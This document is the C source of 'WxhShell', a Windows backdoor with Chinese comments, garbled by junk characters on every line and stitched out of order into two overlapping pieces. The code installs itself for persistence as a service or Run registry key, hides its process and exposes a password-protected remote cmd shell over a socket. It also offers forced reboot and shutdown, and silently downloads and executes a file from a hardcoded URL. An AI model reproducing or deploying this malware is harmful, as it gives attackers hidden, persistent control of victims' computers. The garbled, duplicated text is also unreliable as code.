    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Q$C%7  
    if(Boot(SHUTDOWN)) )]>9\(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpPktp2  
    else { hPl;2r  
    closesocket(wsh); dK=BH=S2?X  
    ExitThread(0); lB,MVsn18  
    } ^b4o 0me  
    break; ;@sxE}`?g  
    } 7+ c?eH  
  // 获取shell `ul"D%  
  case 's': { E;N+B34  
    CmdShell(wsh); 4VK5TWg  
    closesocket(wsh); $.`(2  
    ExitThread(0); PRs[:we~~  
    break; ar{Yq  
  } ~j UK-E  
  // 退出 -Z:al\e<g  
  case 'x': { E-r/$&D5mP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |^FDsJUN  
    CloseIt(wsh); 1Eg,iTn2*x  
    break; yfV{2[8ux  
    } gxJ(u{2  
  // 离开 UHXlBH@  
  case 'q': { %o~zsIl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i;)88  
    closesocket(wsh); 1r@v \#P  
    WSACleanup(); }3@`'i7  
    exit(1); 0<e7!M=U1  
    break; @NO&3m]  
        } 7"M7N^  
  } }L@YLnc%  
  } l_DPlY  
X!&=S!}  
  // 提示信息 ;DGp7f#9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,u$$w  
} p<Zf,F}  
  } rq$%  
$UKDXQF"  
  return; e&E*$G@.7  
} qWo|LpxWt  
DD;PmIW  
// shell模块句柄 "|f;   
int CmdShell(SOCKET sock) m|p}Jf!  
{ }V`Fz',lZ  
STARTUPINFO si; Q&wBX%@^L  
ZeroMemory(&si,sizeof(si)); jAF DkqH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3n X7$$X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =\`9\Gd  
PROCESS_INFORMATION ProcessInfo; j+s8V-7(  
char cmdline[]="cmd"; u6I# D _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C}45ZI4  
  return 0; Rd2*  
} Dt8eVWkN~  
Y8Mo.v  
// 自身启动模式 <&:3|2p  
int StartFromService(void) \@5W&Be^  
{ 2H4+D)  
typedef struct N:=D@x~]  
{ d ;ry!X  
  DWORD ExitStatus; e;Q~P]x  
  DWORD PebBaseAddress; Lc+)#9*d  
  DWORD AffinityMask; iTD{  
  DWORD BasePriority; IDv@r\Xw  
  ULONG UniqueProcessId; WpRi+NC}ln  
  ULONG InheritedFromUniqueProcessId; CKj3-rcF(  
}   PROCESS_BASIC_INFORMATION; A*W QdY  
IhUuL0  
PROCNTQSIP NtQueryInformationProcess; (Iu5QLE  
=$f xK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O>H4hp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K&Zdk (l)  
mh|M O(  
  HANDLE             hProcess; H,] D}r  
  PROCESS_BASIC_INFORMATION pbi; ;b(/PH!O  
ZN^9w"A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0!xD+IA!8  
  if(NULL == hInst ) return 0; g~N)~]0{  
~KEnZa0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U edh4qa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D,]m7 yFT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &AA u:  
] 5c|  
  if (!NtQueryInformationProcess) return 0; gn7pIoN  
76xgExOU?C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =yk#z84<  
  if(!hProcess) return 0; tWD*uA b  
V.;0F%zks5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Q}.9s_ri  
QTM+ WD  
  CloseHandle(hProcess); ;sb0,2YyP  
URY%+u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8&H1w9NrX_  
if(hProcess==NULL) return 0; Xig%Q~oMp  
>KC*xa"  
HMODULE hMod; bSBI[S  
char procName[255]; ,1QU  
unsigned long cbNeeded; Z$Qlr:7  
|(Io(e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \U p<m>3\  
I5PaY.i  
  CloseHandle(hProcess);  5Gg`+o  
-H{c@hl  
if(strstr(procName,"services")) return 1; // 以服务启动 H`m| R  
dc"Vc 3)  
  return 0; // 注册表启动 HA"LU;5>2J  
} DH @*Oz-  
L<J%IlcfO  
// 主模块 .GLotc  
int StartWxhshell(LPSTR lpCmdLine) {P(IA2J'S  
{ v||8Q\d  
  SOCKET wsl; (eG#JVsm9  
BOOL val=TRUE; [K%J t  
  int port=0; tHD mX  
  struct sockaddr_in door; kVZ>Dc2M  
uflp4_D   
  if(wscfg.ws_autoins) Install(); N(/DC)DJg  
V<P@hAAr  
port=atoi(lpCmdLine); KG)Y{-Ao  
t~gnai  
if(port<=0) port=wscfg.ws_port; qky{]qNW  
UP%X`  
  WSADATA data; 4LKOBiEM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'N0d==aI  
mbSJ}3c"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G,$RsP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %;9wToyK>  
  door.sin_family = AF_INET; |\Jpjm)?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2~~Q NWN  
  door.sin_port = htons(port); F6YMcdU  
sm/l'e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rn U2EL  
closesocket(wsl); Mv JEX8M  
return 1; X2T)]`@  
} <c^m |v  
f`P%aX'cBQ  
  if(listen(wsl,2) == INVALID_SOCKET) { DYbkw4Z,  
closesocket(wsl); 3>/Yku)t  
return 1; h5.u W8  
} 8x[q[  
  Wxhshell(wsl); $UgM7V$  
  WSACleanup(); "P'W@  
cMI QbBM  
return 0; G)iV  
VI[ikNpX  
} FG1$_zN |  
a4O!q;tu7  
// 以NT服务方式启动 ^~8l|d_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Z(8 vA^@  
{ 8iR%?5 >K  
DWORD   status = 0; #2{ };)  
  DWORD   specificError = 0xfffffff; ``K.4sG  
ci6j"nKci  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bsR&%C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B7_:,R.l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jvCk+n[  
  serviceStatus.dwWin32ExitCode     = 0; VO/" ot  
  serviceStatus.dwServiceSpecificExitCode = 0; pX*Oc6.0mu  
  serviceStatus.dwCheckPoint       = 0; kce+aiv|u  
  serviceStatus.dwWaitHint       = 0; Dm"GCV  
E;9SsA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @ 4j#X  
  if (hServiceStatusHandle==0) return; {pm>F}Cwy  
]7fqVOiOu  
status = GetLastError(); J'.U+XU  
  if (status!=NO_ERROR) >& \QLo[5  
{ G}AfCd4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^+Ec}+ Q  
    serviceStatus.dwCheckPoint       = 0; e(,sFhR  
    serviceStatus.dwWaitHint       = 0; r8}GiP0|  
    serviceStatus.dwWin32ExitCode     = status; RWz^ MV5K  
    serviceStatus.dwServiceSpecificExitCode = specificError; [#$z.BoEo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y!)Z ^u  
    return; tAPqbi$a  
  } lpj$\WI=  
%koHTWT+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` ` 6?;Y  
  serviceStatus.dwCheckPoint       = 0; b-;+&Rb  
  serviceStatus.dwWaitHint       = 0; B}C"Xc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VD<W  
} 0".pw; .}  
-_4U+Cfmtl  
// 处理NT服务事件,比如:启动、停止 MX xRM~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xmT(yv,  
{ Ud\Jc:DG  
switch(fdwControl) Ti=~ycwi  
{ \:'=ccf  
case SERVICE_CONTROL_STOP: U;LbP -{B  
  serviceStatus.dwWin32ExitCode = 0; AJI,>I,}}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9=&LMjTQ  
  serviceStatus.dwCheckPoint   = 0; ZBB^?FF  
  serviceStatus.dwWaitHint     = 0; ~NMal]Fwx  
  { C3:4V2<_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + 79?}|  
  } OGzth$7A  
  return; uy9k^4Cqa  
case SERVICE_CONTROL_PAUSE: Yvcd(2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }2|>Y[v2j  
  break; rH8w||S2U  
case SERVICE_CONTROL_CONTINUE: hmHm;l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3<AZ,gF1  
  break; 9pb4!=g*  
case SERVICE_CONTROL_INTERROGATE: % tN{  
  break; ez"Xb 7  
}; ?R&,1~h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;%"UZ~]f  
} o=X6PoJ N_  
2n2{Oy>L  
// 标准应用程序主函数 1t WKH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^EPM~cEY\  
{ 6OkN(tL&.  
pkWzaf  
// 获取操作系统版本 I;S[Ft8d  
OsIsNt=GetOsVer(); Wt"fn&R}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :CNHN2 J  
a<B[ ~J4i  
  // 从命令行安装 X@*$3z#Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ o?Wum  
Z}5 ;K"T/  
  // 下载执行文件 zC\ pd#  
if(wscfg.ws_downexe) { pE[ul  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c6:"5};_  
  WinExec(wscfg.ws_filenam,SW_HIDE); )F,H(LblH  
} jV;&*4if  
!i&^H,  
if(!OsIsNt) { eva-?+n\q  
// 如果时win9x,隐藏进程并且设置为注册表启动 s+gZnne  
HideProc(); 4=9To|U*  
StartWxhshell(lpCmdLine); Ix93/FAn  
} qrsPY d  
else BQ2EDy=}6  
  if(StartFromService()) <]r.wn=}M  
  // 以服务方式启动 cor?#  
  StartServiceCtrlDispatcher(DispatchTable); > nDx)!I  
else ^,]'Ut  
  // 普通方式启动 }nvH Eo  
  StartWxhshell(lpCmdLine); ,[7 1,zs  
,a9<\bd)  
return 0; Vv~rgNh  
} ,^3eMn  
c^S^"M|  
9[N+x2q  
lX/6u E_%  
=========================================== dq%7A=-  
I83ZN]  
#/Y t4n  
'j6PL;~c  
qsk8#  
*y9 iuJ}  
" 9&q<6TZz  
O,>1GKw"\  
#include <stdio.h> Q/o !&&  
#include <string.h> Z"<aS&GH  
#include <windows.h> kz\ D-b  
#include <winsock2.h> j(F&*aH78  
#include <winsvc.h> DBANq\  
#include <urlmon.h> 9->E$W  
;Oh4W<hH}  
#pragma comment (lib, "Ws2_32.lib") ,R5NKWo  
#pragma comment (lib, "urlmon.lib") <7fF9X  
]1>U@oK  
#define MAX_USER   100 // 最大客户端连接数 :A%uXgK<k  
#define BUF_SOCK   200 // sock buffer L:"i,K#P  
#define KEY_BUFF   255 // 输入 buffer J?&lpsB3_l  
7d*SZmD  
#define REBOOT     0   // 重启 J)vP<.3:  
#define SHUTDOWN   1   // 关机 -g(&5._,ZW  
oqH811  
#define DEF_PORT   5000 // 监听端口 2T3v^%%j  
{|c <8  
#define REG_LEN     16   // 注册表键长度 |FG t'  
#define SVC_LEN     80   // NT服务名长度 b&f;p}C24  
hPLQ)c?   
// 从dll定义API )eop:!m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }\k"azQ`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Qgu 6Ty  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pRe, B'&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UKMr,{iy  
"z)dz,&T  
// wxhshell配置信息 NTS tk{s,  
struct WSCFG { s,XKl5'+8e  
  int ws_port;         // 监听端口 pV]m6! y&  
  char ws_passstr[REG_LEN]; // 口令 fEf ",{I  
  int ws_autoins;       // 安装标记, 1=yes 0=no n0q5|ES  
  char ws_regname[REG_LEN]; // 注册表键名 r e.chQ6  
  char ws_svcname[REG_LEN]; // 服务名 JG @bl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rT9<_<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uUu]JDdz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?W-J2tgss{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0U!Y/?6lA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;A7HEx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gVjI1{WTK  
<yz)iCU?  
}; hG .>>  
xjB2?:/2  
// default Wxhshell configuration _doX&*9u  
struct WSCFG wscfg={DEF_PORT, dIgaw;Ch]  
    "xuhuanlingzhe", /_ }xTP"9  
    1, GzxtC  &  
    "Wxhshell", FZ'|z8Dm  
    "Wxhshell", < ek_n;R  
            "WxhShell Service", *jM~VTXwt  
    "Wrsky Windows CmdShell Service", z6 2gF|Uj  
    "Please Input Your Password: ", yb*P&si5bY  
  1, ?3~]H   
  "http://www.wrsky.com/wxhshell.exe", S7&w r@  
  "Wxhshell.exe" P -0  
    }; 9r=@S  
XF(0>-  
// 消息定义模块 L/dG 0a@1X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H)S" `j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sJo]$/?F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Q!sns[T  
char *msg_ws_ext="\n\rExit."; `p1szZD&  
char *msg_ws_end="\n\rQuit."; Se/VOzzg  
char *msg_ws_boot="\n\rReboot..."; U\'.rT[#  
char *msg_ws_poff="\n\rShutdown..."; [<`K%1GQ  
char *msg_ws_down="\n\rSave to "; ieXhOA  
~Fp,nE-B  
char *msg_ws_err="\n\rErr!"; | Z'NMJU  
char *msg_ws_ok="\n\rOK!"; [u\E*8  
rlTCVmE8[  
char ExeFile[MAX_PATH]; 1Y!" C  
int nUser = 0; m|!R/,>S4  
HANDLE handles[MAX_USER]; &m2FEQLj  
int OsIsNt; }mQ7N&cC  
P6V_cw$  
SERVICE_STATUS       serviceStatus; 8wz%e(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t:NTk(  
>ly`1t1  
// 函数声明 }la\?I  
int Install(void); aZEi|\VU  
int Uninstall(void); "Opk:;.  
int DownloadFile(char *sURL, SOCKET wsh); OZ<iP  
int Boot(int flag); }z:g}".4  
void HideProc(void);  *X- 6]C  
int GetOsVer(void); '7AlE!7%  
int Wxhshell(SOCKET wsl); jq#gFt*  
void TalkWithClient(void *cs); 0; GnR0  
int CmdShell(SOCKET sock); aHx(~&hRcL  
int StartFromService(void); 7ukJ\P5[&1  
int StartWxhshell(LPSTR lpCmdLine); .O! JI"?  
OCmF/B_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6' }oo'#~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .v;$sst5y  
>a7'_n_o  
// 数据结构和表定义 ? RL[#d+y  
SERVICE_TABLE_ENTRY DispatchTable[] = ): HjpJvF  
{ 4TcKs}z  
{wscfg.ws_svcname, NTServiceMain}, A_3V1<J`]  
{NULL, NULL} m`luMt9  
}; 8JxJ>I-9p  
@b[{.m U  
// 自我安装  x~p8Mcv  
int Install(void) Im7<\ b@  
{ P(pw$ q$S  
  char svExeFile[MAX_PATH]; h{xC0NC)  
  HKEY key; ParOWs~W/  
  strcpy(svExeFile,ExeFile); wz^Q,Od  
Ojqbj0E9  
// 如果是win9x系统,修改注册表设为自启动 *y +T(73  
if(!OsIsNt) { 6\>S%S2:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P__JN\{9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8q9HQ4dsL  
  RegCloseKey(key); iq'hel  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L -z37kG^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?HwW~aO  
  RegCloseKey(key); 3db ,6R  
  return 0; mYLqT$t.+  
    } `B6~KZ  
  } h8@8Q w  
} 2Zt :]be  
else { e~]3/0  
n,D~ whZx  
// 如果是NT以上系统,安装为系统服务 y'\BpP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wBz?OnD/D  
if (schSCManager!=0) rMRM*`Q2  
{ ^<X+t&!z  
  SC_HANDLE schService = CreateService N~7xj?  
  ( `x%v& >  
  schSCManager, jo 0 d#  
  wscfg.ws_svcname, 'z$BgXh\  
  wscfg.ws_svcdisp, r}kQ<SRx  
  SERVICE_ALL_ACCESS, &)`xlIw}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i#Tm] ++  
  SERVICE_AUTO_START, Qvc "?yx8}  
  SERVICE_ERROR_NORMAL, zAT7 ^q^  
  svExeFile, wh4ik`S 1  
  NULL, qxS=8#-`(  
  NULL, O[ tD7 !1  
  NULL, h tC~BK3(  
  NULL, ^Ud1 ag!-  
  NULL Bk,:a,  
  ); Co[fq3iX#  
  if (schService!=0) "f^s*I  
  { -*xm<R],  
  CloseServiceHandle(schService); B-Bgk  
  CloseServiceHandle(schSCManager); ]D(!ua5|x`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \Tq !(]o^  
  strcat(svExeFile,wscfg.ws_svcname); B#RBR<MFC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #OlU|I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hx|Cam"  
  RegCloseKey(key); reo  
  return 0; %04N"^mT'~  
    } :`('lrq  
  } MmUtBT  
  CloseServiceHandle(schSCManager); eeKErpj8A  
} zN}1Qh  
} A+3,y<j\  
I5EKS0MQ!  
return 1; j{k]8sI,H]  
} ( R2432R}J  
4n6EkTa  
// 自我卸载 /ZC/yGdIS_  
int Uninstall(void) -L%J,f[&,  
{ qKoD*cl)Za  
  HKEY key; Uc oVp}vl  
kLc}a5;  
if(!OsIsNt) { A4 ;EtW+F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z&fXxp  
  RegDeleteValue(key,wscfg.ws_regname); qm RdO R  
  RegCloseKey(key); u!kC+0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :[icd2JCw]  
  RegDeleteValue(key,wscfg.ws_regname); ,w>WuRN"  
  RegCloseKey(key); mqw5\7s?  
  return 0; @9-/p^n1  
  } Bw5zh1ALC;  
} h)S223[  
} XLwmXi  
else { IE/F =Wr  
<ezv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K@uUe3  
if (schSCManager!=0) {+D 6o  
{ ey'x3s_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %:61@<  
  if (schService!=0) tE&@U$0>o  
  { ,-!h  
  if(DeleteService(schService)!=0) { yb 7  
  CloseServiceHandle(schService); &.dC%  
  CloseServiceHandle(schSCManager); &8kc0Z@y  
  return 0; 61qs`N=k  
  } i%~^3/K  
  CloseServiceHandle(schService); )=,%iL -  
  } z4qw*. 5  
  CloseServiceHandle(schSCManager); n*%o!=  
} rHS;wT  
} Zp5;=8wa;  
>lyX";X#  
return 1; NBLiwL37{  
} W lD cKY  
sZ~q|}D-  
// 从指定url下载文件 ;Y/{q B!  
int DownloadFile(char *sURL, SOCKET wsh) um/2.Sn>  
{ $U3|.4  
  HRESULT hr; E0F8FR'  
char seps[]= "/"; Xr?(w(3  
char *token; 2oY.MQD7iW  
char *file; 4J#F;#iA  
char myURL[MAX_PATH]; PwF 1Pr`r  
char myFILE[MAX_PATH]; <d2?A}<  
(~C_zG  
strcpy(myURL,sURL); c!,&]*h"k  
  token=strtok(myURL,seps); '. Ww*N  
  while(token!=NULL) aQ@9(j> F  
  { l/=2P_8+Z  
    file=token; U)v['5%  
  token=strtok(NULL,seps); WCa>~dF>  
  } /g|H?F0  
$f++n5I  
GetCurrentDirectory(MAX_PATH,myFILE); j=r aS  
strcat(myFILE, "\\"); o+9b%I^1V  
strcat(myFILE, file); Yd} Jz  
  send(wsh,myFILE,strlen(myFILE),0); Y}db<Cz X  
send(wsh,"...",3,0); 5|T[:m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RQaB _bg7  
  if(hr==S_OK) KyQO>g{R  
return 0; JnC$}amr  
else /O,>s  
return 1; (#|CL/&  
f9+J}  
} G~$.Af!9W  
M4%u~Z:4h+  
// 系统电源模块 uc0 1{t0,  
int Boot(int flag) Z%h _g-C  
{ A&HN7C%X  
  HANDLE hToken; hDO\Q7  
  TOKEN_PRIVILEGES tkp; Vrwy+o>:X  
-4rXOmiA  
  if(OsIsNt) { nFRU-D$7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xv1 SRP#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,F&TSzH[@v  
    tkp.PrivilegeCount = 1; [C8lMEV~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %kS4v,I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =r w60B  
if(flag==REBOOT) { =H<I` J'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *=sMJY9#jE  
  return 0; x,U '!F  
} JbV\eE#KrC  
else { (d> M/x?W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cRR[ci34k  
  return 0; ^Y;}GeA,  
} 7WEh'(`  
  } kIC $ai6.  
  else { ^M:Y$9r_s  
if(flag==REBOOT) { zmA]@'j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &.m.ruab  
  return 0; {;z{U;j  
} JJIlR{WY_  
else { E{LLxGAEZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oFO)28Btv  
  return 0; r JvtE}x1  
} q <, b  
} 11'^JmKA  
J AQ y  
return 1; S.<aCN<@  
} a#huK~$~  
-Kas9\VWEw  
// win9x进程隐藏模块 ?%|w?Fdx-  
void HideProc(void) _u[2R=h  
{ 1g{-DIOmn  
Nldy76|g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  wZ(H[be  
  if ( hKernel != NULL ) (G>S`B  
  { s6U$]9 `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lQ8h-Tz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -qbx:Kk (  
    FreeLibrary(hKernel); [NxC7p:Lo  
  } BR*'SF\T  
4# L}&  
return; d@0p<at>~  
} L:.z FW,  
Rudj"OGO  
// 获取操作系统版本 xJ$/#UdP  
int GetOsVer(void) ; ,vGw <|o  
{ 7J[DD5  
  OSVERSIONINFO winfo; .83{NF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cr7T=&L  
  GetVersionEx(&winfo); wV604eO(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N4[`pXM6  
  return 1; .jXD0~N8q  
  else [%0{7pz}  
  return 0; rN3qTp  
} \&6^c=2=  
l.@v@T(/  
// 客户端句柄模块 #`HY"-7m_  
int Wxhshell(SOCKET wsl) +HXR ))X  
{ 8opd0'SNaB  
  SOCKET wsh; rW P -Rm  
  struct sockaddr_in client; o]@Mg5(8Q  
  DWORD myID; Q)IL]S  
!y$:}W?_  
  while(nUser<MAX_USER) CE|iu!-4  
{ aPwUC:>`D  
  int nSize=sizeof(client); ee}HQ.}Ja  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ? PI2X.6  
  if(wsh==INVALID_SOCKET) return 1; }fV+Kd$CB  
FwjmC%iY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !RXG{1 :  
if(handles[nUser]==0) %w3Y!7+  
  closesocket(wsh); >p`ZcFNs"  
else vG{lxPIj  
  nUser++; svaclkT=  
  } *y0=sG1+D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R1/h<I:  
F"ua`ercI  
  return 0; n^t!+  
} D}MCVNd^  
Hrg~<-.La  
// 关闭 socket S;8gX1Uf  
void CloseIt(SOCKET wsh) W]CsKN,K  
{ ~Z>!SMXp<  
closesocket(wsh); (-[73v-w  
nUser--; 4Zn"K}q  
ExitThread(0); Mb^E  
} obz|*1M?  
ubQbEv{(,  
// 客户端请求句柄 WAUgbImc{  
void TalkWithClient(void *cs) c+:XaDS-  
{ )ppIO"\  
ls@j8bVv^  
  SOCKET wsh=(SOCKET)cs; PB(q9gf"1}  
  char pwd[SVC_LEN]; BY5ODc$  
  char cmd[KEY_BUFF]; {8pN]=SaJ~  
char chr[1]; &cSZ?0R  
int i,j; RYyM;<9F  
p.|M:C\xL  
  while (nUser < MAX_USER) { I^l\<1"]  
9 S4bg7  
if(wscfg.ws_passstr) { $X_A 74 (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KCl85Wi'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KNG7$icG  
  //ZeroMemory(pwd,KEY_BUFF); NVX@1}  
      i=0; 'JRYf;9c  
  while(i<SVC_LEN) { T^DJ/uhd  
m#,AD,s  
  // 设置超时 \|YIuzlO4  
  fd_set FdRead; u Wxl\+_i  
  struct timeval TimeOut; =v{Vl5&>?  
  FD_ZERO(&FdRead); ,<t)aZL,A;  
  FD_SET(wsh,&FdRead); O%)Wo?)HM  
  TimeOut.tv_sec=8; ["1Iz{  
  TimeOut.tv_usec=0; m>9j dsqB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9SQc ChG~j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fZgEJsr  
P^57a?[`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' 4.T1i,  
  pwd=chr[0]; f 0r?cZ  
  if(chr[0]==0xd || chr[0]==0xa) { xO{$6M3-~  
  pwd=0; !T"jvDYH  
  break; IwVdx^9  
  } XM57 UG  
  i++; x~u"KU2B  
    } IBz)3gj J  
z(n Ba]^[F  
  // 如果是非法用户,关闭 socket e|d~&Bk0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U BWUq  
} fZavZ\qU  
P47x-;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eXAJ%^iD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$P1N^}Zs  
0^83:C ^{  
while(1) { \h@3dJ4  
rK[;wD<  
  ZeroMemory(cmd,KEY_BUFF); t Uk)S  
b!JrdJO,DP  
      // 自动支持客户端 telnet标准   'Bwv-J  
  j=0; ;R([w4[~  
  while(j<KEY_BUFF) { 3_ ZlZ_Tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2C AR2V|  
  cmd[j]=chr[0]; .$ X|96~$  
  if(chr[0]==0xa || chr[0]==0xd) { WRp0.  
  cmd[j]=0; }u]7x:lh  
  break; KP&$Sl  
  } =`ECM7  
  j++; Ku?1QDhrF*  
    } rcz9\@M  
vMzBp#MT  
  // 下载文件 slQEAqG)B  
  if(strstr(cmd,"http://")) { UuCRQNH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -sxu7I  
  if(DownloadFile(cmd,wsh)) ^Rb*mI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0JC u^9  
  else /RI"a^&9A  
